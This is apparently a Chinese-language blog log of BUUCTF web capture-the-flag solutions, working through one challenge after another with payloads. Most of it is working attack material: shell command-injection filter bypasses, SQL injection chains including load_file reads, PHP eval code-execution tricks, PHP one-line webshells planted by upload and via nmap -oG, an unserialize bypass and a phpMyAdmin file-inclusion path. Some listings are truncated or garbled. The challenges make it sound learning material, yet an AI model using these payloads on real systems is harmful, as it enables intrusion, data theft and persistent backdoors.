buuctf刷题之旅

buuctf刷题之旅

2019 安洵杯 easy_web

  • 打开题目url格式:
    1
    http://de23405a-b1df-4e54-b8e2-605671569ecd.node3.buuoj.cn/index.php?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=

怀疑有任意文件读取以及命令执行.img参数需要经过一次hex和两次base64.
读一下index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
命令执行是可以不过有正则:
preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i"
可以看到还有md5碰撞:
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))

思路基本就明确了,MD5碰撞然后命令执行.

1
2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

dir之后在根目录下看到flag文件,但是过滤了大部分的读取命令,卡住了……
看了狮虎们的wp,||是匹配一个,而类似l\s这样的命令也确实可以执行,所谓payload:

1
cmd=/bin/c\at%20/flag

GXYCTF–PingPingPing

打开有提示,可以命令执行看一下目录下有什么:

http://99e3139e-25d4-4f85-90d3-5cd806683caf.node3.buuoj.cn/?ip=127.0.0.1|ls

可以看到有flag.php,index.php.

尝试读flag发现果然被ban了,那么试试index.php发现提示空格被ban了。

绕过空格的方法大概有以下几种:

1
2
3
4
5
6
7
8
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09

不妨就用 $IFS试试,无果,用${IFS}发现{}被ban。再试$IFS$1成功。
可以看到index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}

?>

可以使用变量拼接,正好变量里面有个a可以覆盖:/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
或者echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

dalao做法:内联,就是将反引号内命令的输出作为输入执行。

http://530bbcaf-9d64-494e-8993-bb3727c31a5a.node3.buuoj.cn/?ip=127.0.0.1;cat$IFS$9`ls`

内联,就是将反引号内命令的输出作为输入执行。

GXYCTF2019–BabySqli

输入错误密码看源码可以看到select * from user where username = ‘$name’

那么就可以在username这个注入点下手处理了。这道题目只过滤了基本的and与等号还是很能操作的。不过后来看别人说这题考点在MD5查询绕过。这么说的原因是,就算成功注入把admin密码的MD5拿到,因为解不了的缘故等于没用。基于题目提示的wrong pass,那么大概率是直接拿输入密码的MD5数值跟数据库里已知值比较。

稍微FUZZ一下admin’ union select 1,2,3可以确认有三个字段,后面确认大概是id,admin,passwd三个字段。这里为了绕过,需要保证我们的查询结构一致,就可直接select 想要的返回值。就是我们的sql语句执行时,passsword字段中的内容要==md5(我们密码栏输入的password)

然后我们便随便找个 密码 就123吧:

明文:123

md5:202cb962ac59075b964b07152d234b70

于是我们便构造这样的payload:

username:1’ union select 1,’admin’,’202cb962ac59075b964b07152d234b70’#

password:123

[极客大挑战 2019]BabySQL

url传参,联合注入.fuzz之后发现通过正则将union,select,from这些关键函数都被替换为空,我们可以通过双写的形式进行绕过.payload:

1
uniunionon%20selselectect%201%2C2%2Cgroup_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%20%23

可以看到数据库有:information_schema,test,performance_schema,mysql,geek,ctf.

1
2
查表,payload:
%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema%3Ddatabase()%23

表有b4bsql,geekuser.
查列名:

1
uniunionon%20selselectect%201%2C2%2Cgroup_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema%3Ddatabase()%20anandd%20table_name%3D'b4bsql'%23

列名有’id,username,password’
爆字段

1
uniunionon%20selselectect%201%2C2%2Cgroup_concat(passwoorrd)%20frfromom%20b4bsql%23

[GXYCTF2019]禁止套娃

一进来啥都没有,访问.git发现403了,上githack,可以下载到index.php,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

第一层过滤了所有的php伪协议,然后是特殊字符和linux下的一些常用命令.
卡住了,我好菜啊…看了师傅们的rce

我们重点首先访问当前目录

1
print_r(scandir('.'));

但是这个.我们被匹配掉了
所以只能构造函数了

1
?exp=print_r(scandir(current(localeconv())));

发现得到其中的文件,php有两个函数
array_flip,php官方文档是这么解释的

array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。

重点是下一个函数

array_rand()函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。

所以我们就可以构造如下payloads

1
highlight_file(array_rand(array_flip(scandir(current(localeconv())))));

[极客大挑战 2019]Secret File

这题比较简单,f12查看源代码,有一个跳转,然后抓包看一下能看到有个php文件,访问可以看到源码,正则过滤了大部分参数,直接php伪协议读flag.

[CISCN 2019 初赛]Love Math

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

无参rce,可以用bash_convert()

思路一:

1
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag.php

分析:

1
2
3
4
5
6
7
8
9
10
11
12
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
另一种payload是这样
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
分析:
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy

既然不能$_GET,那就header传

思路二:

直接想办法catflag也是可以的

1
2
3
4
//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//system('cat'.dechex(16)^asinh^pi) => system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

[极客大挑战 2019]Upload

先传个一句话看看,发现过滤了<?,那就用js.

1
2
3
<script language='php'>
 eval($_POST['pass']);
</script>

提示我们要图片格式,那就加个图片头:GIF89a.可以上传.但是这是jpg,需要上传php文件让其解析.
测试发现phtml没有被过滤.上传成功,在upload目录下.蚁剑连一下.

[BJDCTF2020]Easy MD5

随便输入个密码,数据包中找到hint:

1
select * from 'admin' where password=md5($pass,true)

暗示我让where后面的东西返回true
想到sql注入的一个情况,要让其变成password=’xxx’ or ‘1’的形式。

写个脚本找满足这样条件的md5明文:

1
2
3
4
5
6
7
8
<?php
for ($i = 0;;) {
for($c = 0;$c<1000000; $c++,$i++)
if= (stripos(md5($i,true),'\'or\'')!==false)
echo "\nmd5($i) = " .md5($i, true) . "\n";
echo ".";
}
?>

得到个ffifdyop,输入后,查看跳转后页面的源码.

1
2
3
4
5
6
7
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

这个==可以用数组或者一下两个值来绕过:QNKCDZO,240610708.
绕过后有个必须用数组绕过的php,绕过后拿到flag.

[GWCTF 2019]我有一个数据库

cve-2018-12613-PhpMyadmin后台文件包含

影响版本:4.8.0——4.8.1

1
payload:/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag

[GWCTF 2019]枯燥的抽奖

check.php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php");

如果mt_srand使用同一个seed,生成的随机数是可以爆破出seed的
https://www.openwall.com/php_mt_seed/

这道题的应用场景中,字符串生成方式是

1
2
3
4
5
6
7
8
9
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

根据生成算法逆向出满足php_mt_seed工具要求的参数

1
2
3
4
5
6
7
8
9
10
11
str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'znXCVCNqS5'
str3 = str1[::-1]
length = len(str2)
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
break
print(res)

爆破出seed值后再代回原程序就可以得到完整的字符串

[极客大挑战 2019] PHP

提示说每次都备份,访问www.zip,可以看源码.

index.php:

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
payload:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

1:利用CVE-2016-7124,序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过_wakeup的执行
2:加%00:username,password都是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失

virink_2019_files_share

拿到题目完全没有思路,看的pcat师傅的wp.还是大佬厉害……

这里发现服务器是用OpenResty服务器,这里pcat科普下:OpenResty是一个基于Nginx与Lua的高性能Web平台,其内部集成了大量精良的Lua库、第三方模块以及大多数的依赖项。

f12可以看到有/uploads/文件,访问后里面左边preview的格式是/preview?f=

尝试文件包含漏洞

由于是使用OpenResty,尝试包含nginx的配置文件,默认是

1
/etc/nginx/conf.d/default.conf

发现../被过滤,尝试下双写可以绕过

1
/preview?f=....//....//....//....//....//....//etc..//nginx..//conf.d..//default.conf

有preview.lua的路径,尝试读取preview.lua源码

1
/preview?f=....//preview.lua

有个Hint:flag in flag_Is_h3re
尝试:

1
/preview?f=....//....//....//....//....//....//....//f1ag_Is_h3re..//flag

[极客大挑战 2019] LoveSQL

判断列数为3

1
?username=1' order by 4 %23&password=1

查看回显

1
?username=1' union select 1,2,3 %23&password=1

查数据库

1
?username=1' union select 1,version(),group_concat(schema_name) from information_schema.schemata %23&password=1

查表

1
?username=1' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

查字段

1
?username=1' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1

查字段内容

1
?username=1' union select 1,version(),group_concat(id,username,password) from l0ve1ysq1%23&password=1

[极客大挑战 2019]BuyFlag

f12有源码:

1
2
3
4
5
6
7
8
9
10
11
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->

1:一亿美元用科学计数法,money=9e9
2:密码要正确,必须是404,切不为数字,弱类型,password=404a

3:cuir身份,看见cookie的user值为0,猜测为1即可

ciscn2019华北赛区半决赛day1web5CyberPunk

f12有提示,应该是个文件包含,可以LFI用base64读一波文件

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
//HTML页面的代码省略,保留之前说的注释
<!--?file=?-->

change.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
#change.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单ä

search.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
#search.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

所有的查询的地方都对username以及phone做了十分严格的过滤,但是对addres只是做了简单的转义.考虑对address下手.
看过大佬wp后有了思路,从下面入手:

1
2
3
4
5
6
7
8
9
10
$address = addslashes($_POST["address"]);
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}

可以看出,address会被转义,然后进行更新,也就是说单引号之类的无效了。但是,在地址被更新的同时,旧地址被存了下来。如果第一次修改地址的时候,构造一个含SQL语句特殊的payload,然后在第二次修改的时候随便更新一个正常的地址,那个之前没有触发SQL注入的payload就会被触发。
思路有了以后,接下来就是构造payload,下面将借助报错注入来构造payload。

1
2
3
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
直接load_file不能显示全,这里分两次构造payload。
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

[BUUCTF 2018] Online Tool

进去直接有源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg()和escapeshellcmd() 没见过,百度
PHP escapeshellarg()+escapeshellcmd() 之殇

直接找到了上面这篇文章,这两个函数在一起用会有些问题

1
2
3
4
传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

简单的来说就是两次转译后出现了问题,没有考虑到单引号的问题

然后往下看,看到echo system(“nmap -T5 -sT -Pn –host-timeout 2 -F “.$host);

这有个system来执行命令,而且有传参,肯定是利用这里了

这里代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转译,我们的输入会被单引号引起来,但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚

这里常见的命令后注入操作如 | & &&都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转移…

这时候就只有想想能不能利用nmap来做些什么了。

这时候搜索可以发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件

这个命令就是我们的输入可控!然后写入到文件!OK很自然的想到了上传一个一句话木马了…

1
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

执行后会返回文件夹名,连一下找到flag.

0%